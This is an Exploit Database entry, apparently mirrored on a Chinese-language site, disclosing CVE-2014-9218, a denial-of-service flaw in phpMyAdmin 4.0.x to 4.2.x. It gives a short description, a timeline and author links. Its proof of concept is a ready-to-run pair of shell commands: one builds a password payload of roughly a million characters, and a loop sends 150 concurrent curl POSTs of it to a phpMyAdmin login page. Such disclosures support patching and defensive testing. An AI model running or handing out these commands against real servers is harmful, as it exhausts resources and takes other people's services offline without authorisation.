phpMyAdmin 4.0.x/4.1.x/4.2.x – Denial of Service

• Exploit Database
• 112 阅读

• 作者： Javer Nieto & Andres Rojas
  日期： 2014-12-15
• 类别：

  • dos
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35539/
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  ============= DESCRIPTION: ============= A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackersto cause a denial of service (resource consumption) via a long password. CVE-2014-9218 was assigned   ============= Time Line: ============= December 3, 2014 - A phpMyAdmin update and the security advisory is published.   ============= Proof of Concept: =============   *1 - Create the payload.*   $ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s" {1..1000000} >> payload   *2 - Performing the Denial of Service attack.*   $ for i in <code>seq 1 150</code>; do (curl --data @payload http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done   ============= Authors: =============   -- Javer Nieto -- http://www.behindthefirewalls.com -- Andres Rojas -- http://www.devconsole.info =============   References: ====================================================================   * http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html * http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php